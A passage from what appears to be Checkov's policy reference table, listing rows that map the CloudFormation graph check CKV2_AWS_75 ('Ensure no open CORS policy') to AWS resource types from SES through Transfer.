[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1463 | CKV2_AWS_75 | resource | aws_ses_configuration_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1464 | CKV2_AWS_75 | resource | aws_ses_domain_dkim | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1465 | CKV2_AWS_75 | resource | aws_ses_domain_identity | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1466 | CKV2_AWS_75 | resource | aws_ses_domain_identity_verification | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1467 | CKV2_AWS_75 | resource | aws_ses_domain_mail_from | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1468 | CKV2_AWS_75 | resource | aws_ses_email_identity | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1469 | CKV2_AWS_75 | resource | aws_ses_event_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1470 | CKV2_AWS_75 | resource | aws_ses_identity_notification_topic | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1471 | CKV2_AWS_75 | resource | aws_ses_identity_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1472 | CKV2_AWS_75 | resource | aws_ses_receipt_filter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1473 | CKV2_AWS_75 | resource | aws_ses_receipt_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1474 | CKV2_AWS_75 | resource | aws_ses_receipt_rule_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1475 | CKV2_AWS_75 | resource | aws_ses_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1476 | CKV2_AWS_75 | resource | aws_sesv2_account_suppression_attributes | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1477 | CKV2_AWS_75 | resource | aws_sesv2_account_vdm_attributes | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1478 | CKV2_AWS_75 | resource | aws_sesv2_configuration_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1479 | CKV2_AWS_75 | resource | aws_sesv2_configuration_set_event_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1480 | CKV2_AWS_75 | resource | aws_sesv2_contact_list | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1481 | CKV2_AWS_75 | resource | aws_sesv2_dedicated_ip_assignment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1482 | CKV2_AWS_75 | resource | aws_sesv2_dedicated_ip_pool | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1483 | CKV2_AWS_75 | resource | aws_sesv2_email_identity | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1484 | CKV2_AWS_75 | resource | aws_sesv2_email_identity_feedback_attributes | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1485 | CKV2_AWS_75 | resource | aws_sesv2_email_identity_mail_from_attributes | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1486 | CKV2_AWS_75 | resource | aws_sesv2_email_identity_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1487 | CKV2_AWS_75 | resource | aws_sfn_activity | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1488 | CKV2_AWS_75 | resource | aws_sfn_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1489 | CKV2_AWS_75 | resource | aws_sfn_state_machine | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1490 | CKV2_AWS_75 | resource | aws_shield_application_layer_automatic_response | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1491 | CKV2_AWS_75 | resource | aws_shield_drt_access_log_bucket_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1492 | CKV2_AWS_75 | resource | aws_shield_drt_access_role_arn_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1493 | CKV2_AWS_75 | resource | aws_shield_proactive_engagement | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1494 | CKV2_AWS_75 | resource | aws_shield_protection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1495 | CKV2_AWS_75 | resource | aws_shield_protection_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1496 | CKV2_AWS_75 | resource | aws_shield_protection_health_check_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1497 | CKV2_AWS_75 | resource | aws_shield_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1498 | CKV2_AWS_75 | resource | aws_signer_signing_job | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1499 | CKV2_AWS_75 | resource | aws_signer_signing_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1500 | CKV2_AWS_75 | resource | aws_signer_signing_profile_permission | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1501 | CKV2_AWS_75 | resource | aws_simpledb_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1502 | CKV2_AWS_75 | resource | aws_snapshot_create_volume_permission | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1503 | CKV2_AWS_75 | resource | aws_sns_platform_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1504 | CKV2_AWS_75 | resource | aws_sns_sms_preferences | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1505 | CKV2_AWS_75 | resource | aws_sns_topic | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1506 | CKV2_AWS_75 | resource | aws_sns_topic_data_protection_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1507 | CKV2_AWS_75 | resource | aws_sns_topic_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1508 | CKV2_AWS_75 | resource | aws_sns_topic_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1509 | CKV2_AWS_75 | resource | aws_spot_datafeed_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1510 | CKV2_AWS_75 | resource | aws_spot_fleet_request | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1511 | CKV2_AWS_75 | resource | aws_spot_instance_request | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1512 | CKV2_AWS_75 | resource | aws_sqs_queue | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1513 | CKV2_AWS_75 | resource | aws_sqs_queue_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1514 | CKV2_AWS_75 | resource | aws_sqs_queue_redrive_allow_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1515 | CKV2_AWS_75 | resource | aws_sqs_queue_redrive_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1516 | CKV2_AWS_75 | resource | aws_ssm_activation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1517 | CKV2_AWS_75 | resource | aws_ssm_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1518 | CKV2_AWS_75 | resource | aws_ssm_default_patch_baseline | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1519 | CKV2_AWS_75 | resource | aws_ssm_document | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1520 | CKV2_AWS_75 | resource | aws_ssm_maintenance_window | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1521 | CKV2_AWS_75 | resource | aws_ssm_maintenance_window_target | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1522 | CKV2_AWS_75 | resource | aws_ssm_maintenance_window_task | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1523 | CKV2_AWS_75 | resource | aws_ssm_parameter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1524 | CKV2_AWS_75 | resource | aws_ssm_patch_baseline | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1525 | CKV2_AWS_75 | resource | aws_ssm_patch_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1526 | CKV2_AWS_75 | resource | aws_ssm_resource_data_sync | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1527 | CKV2_AWS_75 | resource | aws_ssm_service_setting | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1528 | CKV2_AWS_75 | resource | aws_ssmcontacts_contact | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1529 | CKV2_AWS_75 | resource | aws_ssmcontacts_contact_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1530 | CKV2_AWS_75 | resource | aws_ssmcontacts_plan | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1531 | CKV2_AWS_75 | resource | aws_ssmcontacts_rotation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1532 | CKV2_AWS_75 | resource | aws_ssmincidents_replication_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1533 | CKV2_AWS_75 | resource | aws_ssmincidents_response_plan | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1534 | CKV2_AWS_75 | resource | aws_ssmquicksetup_configuration_manager | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1535 | CKV2_AWS_75 | resource | aws_ssoadmin_account_assignment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1536 | CKV2_AWS_75 | resource | aws_ssoadmin_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1537 | CKV2_AWS_75 | resource | aws_ssoadmin_application_access_scope | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1538 | CKV2_AWS_75 | resource | aws_ssoadmin_application_assignment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1539 | CKV2_AWS_75 | resource | aws_ssoadmin_application_assignment_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1540 | CKV2_AWS_75 | resource | aws_ssoadmin_customer_managed_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1541 | CKV2_AWS_75 | resource | aws_ssoadmin_instance_access_control_attributes | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1542 | CKV2_AWS_75 | resource | aws_ssoadmin_managed_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1543 | CKV2_AWS_75 | resource | aws_ssoadmin_permission_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1544 | CKV2_AWS_75 | resource | aws_ssoadmin_permission_set_inline_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1545 | CKV2_AWS_75 | resource | aws_ssoadmin_permissions_boundary_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1546 | CKV2_AWS_75 | resource | aws_ssoadmin_trusted_token_issuer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1547 | CKV2_AWS_75 | resource | aws_storagegateway_cache | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1548 | CKV2_AWS_75 | resource | aws_storagegateway_cached_iscsi_volume | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1549 | CKV2_AWS_75 | resource | aws_storagegateway_file_system_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1550 | CKV2_AWS_75 | resource | aws_storagegateway_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1551 | CKV2_AWS_75 | resource | aws_storagegateway_nfs_file_share | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1552 | CKV2_AWS_75 | resource | aws_storagegateway_smb_file_share | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1553 | CKV2_AWS_75 | resource | aws_storagegateway_stored_iscsi_volume | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1554 | CKV2_AWS_75 | resource | aws_storagegateway_tape_pool | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1555 | CKV2_AWS_75 | resource | aws_storagegateway_upload_buffer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1556 | CKV2_AWS_75 | resource | aws_storagegateway_working_storage | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1557 | CKV2_AWS_75 | resource | aws_subnet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1558 | CKV2_AWS_75 | resource | aws_swf_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1559 | CKV2_AWS_75 | resource | aws_synthetics_canary | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1560 | CKV2_AWS_75 | resource | aws_synthetics_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1561 | CKV2_AWS_75 | resource | aws_synthetics_group_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1562 | CKV2_AWS_75 | resource | aws_timestreaminfluxdb_db_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1563 | CKV2_AWS_75 | resource | aws_timestreamquery_scheduled_query | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1564 | CKV2_AWS_75 | resource | aws_timestreamwrite_database | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1565 | CKV2_AWS_75 | resource | aws_timestreamwrite_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1566 | CKV2_AWS_75 | resource | aws_transcribe_language_model | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1567 | CKV2_AWS_75 | resource | aws_transcribe_medical_vocabulary | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1568 | CKV2_AWS_75 | resource | aws_transcribe_vocabulary | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1569 | CKV2_AWS_75 | resource | aws_transcribe_vocabulary_filter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1570 | CKV2_AWS_75 | resource | aws_transfer_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1571 | CKV2_AWS_75 | resource | aws_transfer_agreement | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1572 | CKV2_AWS_75 | resource | aws_transfer_certificate | Ensure no open CORS policy | 